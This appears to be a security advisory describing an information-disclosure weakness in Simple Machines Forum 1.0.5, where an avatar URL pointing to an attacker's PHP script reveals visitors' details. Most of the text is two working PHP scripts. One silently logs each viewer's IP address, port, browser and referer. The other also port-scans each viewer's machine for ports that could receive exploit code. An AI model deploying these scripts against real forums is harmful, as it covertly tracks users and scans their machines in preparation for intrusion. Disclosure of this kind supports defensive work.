Simple Machine Forum 1-0-5 (possibly prior versions) user IP address /
information disclosure

software:
site: http://www.simplemachines.org/

information disclosure:  
a user can choose an sumbit an avatar url like this:

http://[evil_site]/image.php

where image.php is a file like this:

<?php
 $log="log".date("Ymd").".txt"; 
 $fp=fopen($log,'a');
 fputs($fp,$REMOTE_ADDR.":".$REMOTE_PORT." - ".$HTTP_USER_AGENT."-".$HTTP_REFERER."-".$REQUEST_METHOD."-".$QUERY_STRING."-".$HTTP_ACCEPT_LANGUAGE."-".$REQUEST_URI."\r\n");
 fclose($fp)
?>

When forum users view a page that should show the avatar, a new line is appended
to log[date].txt on [evil_site] server, like this:

08.31.05 04.09 - 192.168.1.1:8562 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)-http://[target]/[path]/[page]-GET--it-/image.php

so an external user can monitor in details the forum activity, user ip addresses, have informations on OS and browsers used and so on

the evil script could check for open ports/services on target machines to send
them exploit code or proxies, trojan ports, do some other stuff, just an example:

<?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 1);
$log="log".date("Ymd").".txt";
$fp=fopen($log,'a');
fputs($fp,'open ports on '.$REMOTE_ADDR.": ");
$portlist="23;135;139;445;1080;3128;8080;12345";
$ports=explode(";",$portlist);
for ($i=0; $i<=count($ports)-1; $i++)
{
$ock=fsockopen($REMOTE_ADDR,$ports[$i]);
if ($ock) {fputs($fp,$ports[$i].' '); fclose($ock);}
}
fputs($fp,"\r\n");
fclose($fp);
//then a lot of creativity ;)
?>
